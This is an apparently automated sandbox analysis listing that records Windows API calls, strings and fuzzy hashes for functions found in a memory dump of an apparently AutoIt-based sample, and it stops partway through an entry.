Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 79f0fe8f645456ad29fd650fd6da48438f85bb2fb2d189e735ab72990179915e
Instruction ID: 5dcbb983e50ffc631666c192f78624f1d3c2484f91466f46e14151b7021291ca
Opcode Fuzzy Hash: 79f0fe8f645456ad29fd650fd6da48438f85bb2fb2d189e735ab72990179915e
Instruction Fuzzy Hash: 8541B171604204EFDB15CF54C884ADA7BB9EF48310F1480AEFD099F20AD7B9D986CBA4

Function 004452C1 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00445352
GetWindowLongW.USER32(?,000000F0), ref: 00445375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00445382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004453A8

Strings

8Y, xrefs: 004452F1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID: 8Y
API String ID: 3340791633-2504371881
Opcode ID: 489a9e435cf05a3071d80ec5624111dc4ce9235d9b3256318c5251250177f319
Instruction ID: 7823dc9439aa6e71ffc64a971b8f966bba3197ad2a03d81e81f4bae875a9a257
Opcode Fuzzy Hash: 489a9e435cf05a3071d80ec5624111dc4ce9235d9b3256318c5251250177f319
Instruction Fuzzy Hash: 1E310234A55A08EFFF309F14CC46BEA77A5AB05390F584013FE10862E2C7B89D41DB4A

Function 00447674 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0044769A
GetWindowRect.USER32(?,?), ref: 00447710
PtInRect.USER32(?,?,00448B89), ref: 00447720
MessageBeep.USER32(00000000), ref: 0044778C

Strings

8Y, xrefs: 004476D6, 00447733

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID: 8Y
API String ID: 1352109105-2504371881
Opcode ID: 0fe4543b98c47f6a1eca6ab6994ca2a391a4192e41d85bafd753ee7be7faad2d
Instruction ID: 8a792bba112bdb6c4848e0dc79a6dc827676b807aa13a4bc5232f223a9dbbe6b
Opcode Fuzzy Hash: 0fe4543b98c47f6a1eca6ab6994ca2a391a4192e41d85bafd753ee7be7faad2d
Instruction Fuzzy Hash: 8A419C78605214DFEB11CF58C894EA977F9BF49314F5980AAE4149B361C738B943CF98

Function 00411DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00411E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00411E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00411EA9

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

Strings

ComboBox, xrefs: 00411DF0
ListBox, xrefs: 00411E25

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 24af5d1c68084df0a9d94442f53b80b27e7c2db8650d109aaabea9a2292e8fad
Instruction ID: 301637c7e001d1ca5adebe970cf237e5197c7230f2bc09e635cb8d3c1eebfeb1
Opcode Fuzzy Hash: 24af5d1c68084df0a9d94442f53b80b27e7c2db8650d109aaabea9a2292e8fad
Instruction Fuzzy Hash: 4F213771A00204BFDB15ABA0DC86DFFB7B8DF41354B14412AFA16AB2E1DB3C49468624

Function 00444653 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00444705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00444713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0044471A

Strings

8Y, xrefs: 004446D0, 004446EF
msctls_updown32, xrefs: 00444684

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: 8Y$msctls_updown32
API String ID: 4014797782-12004083
Opcode ID: adde3fe6283e69f9fa645813519abaab3a64143c26a59bf3a0d703be3a4a0fa1
Instruction ID: 606460b4299fe8305b500e6c37073f77089ea810f4634d19af0902805debb2f4
Opcode Fuzzy Hash: adde3fe6283e69f9fa645813519abaab3a64143c26a59bf3a0d703be3a4a0fa1
Instruction Fuzzy Hash: 112162B5600209AFEB11DF64DCC1DBB37ADEB9A354B05045AFA049B361CB34EC12CB64

Function 00442F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00442F8D
LoadLibraryW.KERNEL32(?), ref: 00442F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00442FA9
DestroyWindow.USER32(?), ref: 00442FB1

Strings

SysAnimate32, xrefs: 00442F68

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: ebaf1ee404eace6f77812c5864f42a4e71f6d23866fcce93449f14b6d180b6b9
Instruction ID: ab0d3b6d8fa5c9d038e37c01f37c3ce9fa1eebd3e81d8506a68e2b31edbd97ed
Opcode Fuzzy Hash: ebaf1ee404eace6f77812c5864f42a4e71f6d23866fcce93449f14b6d180b6b9
Instruction Fuzzy Hash: D021F071200205ABFB104F64DD81FBB77BDEB59368FD0422AF910D2290C7B5DC45A768

Function 00448FC9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

GetCursorPos.USER32(?), ref: 00449001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00407711,?,?,?,?,?), ref: 00449016
GetCursorPos.USER32(?), ref: 0044905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00407711,?,?,?), ref: 00449094

Strings

8Y, xrefs: 0044902E, 00449064

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID: 8Y
API String ID: 2864067406-2504371881
Opcode ID: ed740055d1bcfceba611bd35392823a2a1f8e60855d57829a06606b86d6dd045
Instruction ID: b7b641794c1a88c9fc29a96d0c22ffc796828c354600dea9d6478dd67294666c
Opcode Fuzzy Hash: ed740055d1bcfceba611bd35392823a2a1f8e60855d57829a06606b86d6dd045
Instruction Fuzzy Hash: AC21BF35601018FFEB25CF94C898EEF3BB9EB4A350F04406AF9058B261C7399D51EB64

Function 003D4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,003D4D1E,003E28E9,?,003D4CBE,003E28E9,004788B8,0000000C,003D4E15,003E28E9,00000002), ref: 003D4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 003D4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,003D4D1E,003E28E9,?,003D4CBE,003E28E9,004788B8,0000000C,003D4E15,003E28E9,00000002,00000000), ref: 003D4DC3

Strings

CorExitProcess, xrefs: 003D4D98
mscoree.dll, xrefs: 003D4D86

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ae72666d7805065b507032903e398ea243cd4d068b27d8f615d9331694a95628
Instruction ID: 41dd0e4fac51b5b38b3b62447b30e712d51773b1802ebb86467c397c7017166c
Opcode Fuzzy Hash: ae72666d7805065b507032903e398ea243cd4d068b27d8f615d9331694a95628
Instruction Fuzzy Hash: 84F06839541208BBDB525F90DC89B9DBFB5EF44752F050166FC05A2251DB355D40CF94

Function 003B4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,003B4EDD,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 003B4EAE
FreeLibrary.KERNEL32(00000000,?,?,003B4EDD,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 003B4EA8
kernel32.dll, xrefs: 003B4E94

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 4f2042aa9e50e69859acf392c320ecb23883a9a26ef4862807ac6cfed141f617
Instruction ID: 822b1e962a561b96b5b55c969501f909a4b21657c07cc25e6a37a14ce7e6eaac
Opcode Fuzzy Hash: 4f2042aa9e50e69859acf392c320ecb23883a9a26ef4862807ac6cfed141f617
Instruction Fuzzy Hash: 53E0CD39A035229BD2731B297C58B9F6554AF82F6770E4125FD04D2506DB64CD0189AD

Function 003B4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,003F3CDE,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 003B4E74
FreeLibrary.KERNEL32(00000000,?,?,003F3CDE,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 003B4E6E
kernel32.dll, xrefs: 003B4E5B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 0dca5675c43fa96af435169b61a815700dc7183c7def47bd8a69b0367bdeac93
Instruction ID: f4deb2a6bea99d701bfaec45f2198e970e195191ee1b4ed51a6e5936b851a014
Opcode Fuzzy Hash: 0dca5675c43fa96af435169b61a815700dc7183c7def47bd8a69b0367bdeac93
Instruction Fuzzy Hash: EAD0C239503A216756631B247C08ECB2B18AF82B1930A0221BA04A2115CF24CD01C9EC

Function 00422947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00422C05
DeleteFileW.KERNEL32(?), ref: 00422C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00422C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00422CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00422CC0

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 0f2d4c4d3f1f62798fce74adceaea57cdbde72d9920d414524fe27d33d96cf29
Instruction ID: 2c9bae37b9972d86c20e7a4a870c9c62e8a223edcc8c29e044024b46c608bccd
Opcode Fuzzy Hash: 0f2d4c4d3f1f62798fce74adceaea57cdbde72d9920d414524fe27d33d96cf29
Instruction Fuzzy Hash: CEB17172E00129BBDF11EFA4DD85EDE7B7DEF09304F4040A6F609E6241EA749A448F65

Function 0043A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0043A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0043A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0043A468
CloseHandle.KERNEL32(?), ref: 0043A63D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: b2968fc4df3735bd2d7ec03400dce92ddb7061678f153f563871f41f8a051a23
Instruction ID: 49d4d96db18b8b3c90446c81276d32ebbce3a53a55851a6673aec1ad9a6a6553
Opcode Fuzzy Hash: b2968fc4df3735bd2d7ec03400dce92ddb7061678f153f563871f41f8a051a23
Instruction Fuzzy Hash: 46A1D271604300AFD724DF24C882F2AB7E1AF88714F14885DF59A9B7D2DB74EC418B92

Function 003EBB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00453700), ref: 003EBB91
WideCharToMultiByte.KERNEL32(00000000,00000000,0048121C,000000FF,00000000,0000003F,00000000,?,?), ref: 003EBC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00481270,000000FF,?,0000003F,00000000,?), ref: 003EBC36
_free.LIBCMT ref: 003EBB7F

Part of subcall function 003E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000), ref: 003E29DE
Part of subcall function 003E29C8: GetLastError.KERNEL32(00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000,00000000), ref: 003E29F0

_free.LIBCMT ref: 003EBD4B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: dac397e4f8e0e772d71b471fe087c5ca52bc6e8ab5fed4db4044d3173bf07766
Instruction ID: 3607324bd3cea3561c60b1d2153de25dfc14a87018ddcdcd767bf73a4811ed7f
Opcode Fuzzy Hash: dac397e4f8e0e772d71b471fe087c5ca52bc6e8ab5fed4db4044d3173bf07766
Instruction Fuzzy Hash: 87510671804269AFCB13EF669C819AFF7BCEB40310B2107AAE554E71E1EB309D418B94

Function 0041E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0041CF22,?), ref: 0041DDFD

Part of subcall function 0041DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0041CF22,?), ref: 0041DE16

Part of subcall function 0041E199: GetFileAttributesW.KERNEL32(?,0041CF95), ref: 0041E19A

lstrcmpiW.KERNEL32(?,?), ref: 0041E473
MoveFileW.KERNEL32(?,?), ref: 0041E4AC
_wcslen.LIBCMT ref: 0041E5EB
_wcslen.LIBCMT ref: 0041E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0041E650

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 0678943bdb0a9ac1f8a8ae574292ba07c4beab8dffa50972c4649c4e681a8a96
Instruction ID: 0b43eb42eb26b18f2b8a4f0afd36d55e08da0a70a5e898912f2fda76333c3c72
Opcode Fuzzy Hash: 0678943bdb0a9ac1f8a8ae574292ba07c4beab8dffa50972c4649c4e681a8a96
Instruction Fuzzy Hash: 885186B24083459BC725DB91DC81ADF73ECAF85344F00491FF689D7151EF78A588876A

Function 0043B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 0043C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0043B6AE,?,?), ref: 0043C9B5
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043C9F1
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA68
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0043BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0043BB63
RegCloseKey.ADVAPI32(?,?), ref: 0043BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0043BBB3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: a0e2bf8bc11ef3783dd9b4ae79c50cb4c6b601a77f94a0ae2125c80eeac50f0a
Instruction ID: 243c79ec798a91f86557cfd8893d3b123fa532623b2ea37a9cbe7ddf16bd4627
Opcode Fuzzy Hash: a0e2bf8bc11ef3783dd9b4ae79c50cb4c6b601a77f94a0ae2125c80eeac50f0a
Instruction Fuzzy Hash: 6661B131208201AFD714DF14C490F6ABBE5FF88308F14959EF6998B6A2CB35ED45CB92

Function 00418BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00418BCD
VariantClear.OLEAUT32 ref: 00418C3E
VariantClear.OLEAUT32 ref: 00418C9D
VariantClear.OLEAUT32(?), ref: 00418D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00418D3B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 1f84451c20de4339c6cac630abc431307a7f9df9da1fbfc7c96ae00f798611a3
Instruction ID: c1a7e41a76a2ec74a55a01121bbbbcd5500832375956b6cf16ede138fdb481b3
Opcode Fuzzy Hash: 1f84451c20de4339c6cac630abc431307a7f9df9da1fbfc7c96ae00f798611a3
Instruction Fuzzy Hash: CC5169B5A00219EFCB14CF68D884AAAB7F8FF89314B15856AF905DB350E734E911CF94

Function 00428AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

